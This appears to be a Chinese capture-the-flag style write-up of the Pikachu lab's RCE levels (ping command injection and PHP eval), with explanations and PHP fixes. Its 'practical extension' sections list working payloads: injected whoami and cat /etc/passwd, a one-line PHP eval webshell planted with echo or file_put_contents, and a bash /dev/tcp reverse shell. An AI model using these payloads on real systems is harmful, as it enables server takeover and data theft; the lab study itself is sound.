皮卡丘靶场解题记录-RCE

exex “ping”

  1. 漏洞原理总结: 就像你在餐厅对着后厨喊”加个蛋”,结果后厨的传菜窗口没有玻璃,你直接把手伸进去自己煎了个蛋。

    正常情况:你对着传菜窗口喊”Ping 127.0.0.1”→ 后厨帮你 Ping 一下 → 结果端出来。

    RCE 漏洞:传菜窗口是敞开的 → 你喊”Ping 127.0.0.1 然后顺便帮我把服务器上所有文件列出来”→ 后厨照做了,因为你的话被原封不动地拼进了厨师的操作指令里。
    跟 XSS 是一个道理:用户输入拼进了不该拼的地方。XSS 是拼进了 HTML 里,RCE 是拼进了系统命令里。

  2. 我的测试过程(截图):

    1
    2
    3
    4
    5
    6
    你的输入                    服务器实际执行的命令
    ─────────────────────────────────────────────────
    127.0.0.1 → ping 127.0.0.1
    127.0.0.1 & whoami → ping 127.0.0.1 & whoami
    ↑ ↑
    正常命令 你注入的命令
    image-20260804225624105
  3. 核心漏洞代码分析:

    没有对用户的输入做处理

    image-20260804225254895

    补充:

    image-20260804225801028

    修复:

    方案1:

    1
    2
    3
    4
    5
    6
    7
    // 用 PHP 自带的 gethostbyname() 做 DNS 解析代替 ping
    // 这个函数只查 IP,不执行任何系统命令
    if(filter_var($ip, FILTER_VALIDATE_IP)){
    $result = gethostbyname($ip);
    }else{
    $result = "请输入合法的 IP 地址";
    }

    方案2:

    1
    2
    3
    4
    5
    6
    7
    8
    $ip = $_POST['ipaddress'];
    // filter_var 会严格检查输入是不是"纯 IP 地址"
    // 127.0.0.1 通过 ✅ | 127.0.0.1; whoami 不通过 ❌
    if(filter_var($ip, FILTER_VALIDATE_IP)){
    $result .= shell_exec('ping '.$ip);
    }else{
    $result = "请输入合法的 IP 地址";
    }

    方案3:

    1
    2
    3
    4
    // escapeshellcmd() 给特殊符号加转义,让它们变成普通字符
    $ip = escapeshellcmd($_POST['ipaddress']);
    $result .= shell_exec('ping '.$ip);
    // 输入 127.0.0.1; whoami → 变成 127.0.0.1\; whoami → 只会 ping,whoami 不执行
  4. 实战延伸(价值所在):

【实战价值与门槛】

image-20260804225912038
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# ===== Payload 1:验证漏洞(看你是谁) =====
# Linux
127.0.0.1; whoami

# Windows
127.0.0.1 & whoami


# ===== Payload 2:查看服务器文件(Linux) =====
127.0.0.1; ls -la

# 看密码文件
127.0.0.1; cat /etc/passwd


# ===== Payload 3:写一句话 Webshell(Linux) =====
# 在网站目录下写入一个 PHP 后门文件,以后直接访问这个文件就能执行任意命令
127.0.0.1; echo '<?php @eval($_POST["cmd"]);?>' > shell.php
# 然后用中国蚁剑或冰蝎连接 http://靶场/vul/rce/shell.php,密码 cmd


# ===== Payload 4:反弹 Shell(Linux,终极武器) =====
# 先在你自己电脑上执行:nc -lvnp 8888 监听端口
# 然后在输入框里填:
127.0.0.1; bash -c 'exec bash -i &>/dev/tcp/你的IP/8888 <&1'
# 你的终端会收到目标服务器的 Shell,直接远程控制

exec “eval”

  1. 漏洞原理总结: (比如:因为后端直接拼凑了用户输入,没做转义,导致浏览器把我的输入当成代码执行了)。

  2. 我的测试过程(截图):

    1
    输入phpinfo();直接被当成代码执行,出现了php配置信息

    image-20260806133955796

  3. 核心漏洞代码分析:

    输入被当成代码直接执行了

    image-20260805001059476

    很经典的语句。

    1
    2
    3
    4
    5
    6
    7
    $POST['submit']拿到输入框内容

    eval()把输入内容直接当成代码执行

    @ 如果执行报错,别显示错误信息(静默)

    !取反——执行结果为空就显示提示

    修复:

    删掉 eval() ,你想实现什么功能,就用对应的正常函数去实现。

    1
    2
    3
    4
    5
    6
    7
    // 修复后
    $html = '';
    if(isset($_POST['submit']) && $_POST['txt'] != null){
    $txt = htmlspecialchars($_POST['txt'], ENT_QUOTES, 'UTF-8');
    $html .= "<p>你喜欢的字符串是:{$txt},挺特别的!</p>";
    }
    echo $html;

    ==RCE 修复的黄金法则:永远不要让用户输入靠近”执行”这个动作。系统命令用白名单校验,代码执行函数(eval、assert、exec)能不用就不用。==

  4. 实战延伸(价值所在):

【实战价值与门槛】

image-20260806164643343
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// ===== Payload 1:验证漏洞 =====
phpinfo();


// ===== Payload 2:执行系统命令(相当于上一关的 Ping 注入) =====
system('whoami');
system('ls -la');
system('cat /etc/passwd');


// ===== Payload 3:写 Webshell(终极利用) =====
// 在网站目录写入一句话木马,之后用蚁剑/冰蝎连接
file_put_contents('shell.php', '<?php @eval($_POST["cmd"]);?>');
// 访问 http://101.43.30.86/vul/rce/shell.php,密码 cmd

webshell练习:

在第二关的输入框写入

1
file_put_contents('shell.php', '<?php @eval($_POST["cmd"]);?>');
1
2
再次输入system('ls -la shell.php');验证文件存在

写入成功

image-20260806180441969

打开蚁剑连接,右键添加数据

连接成功:

image-20260806180752087

可以看到文件image-20260806180902647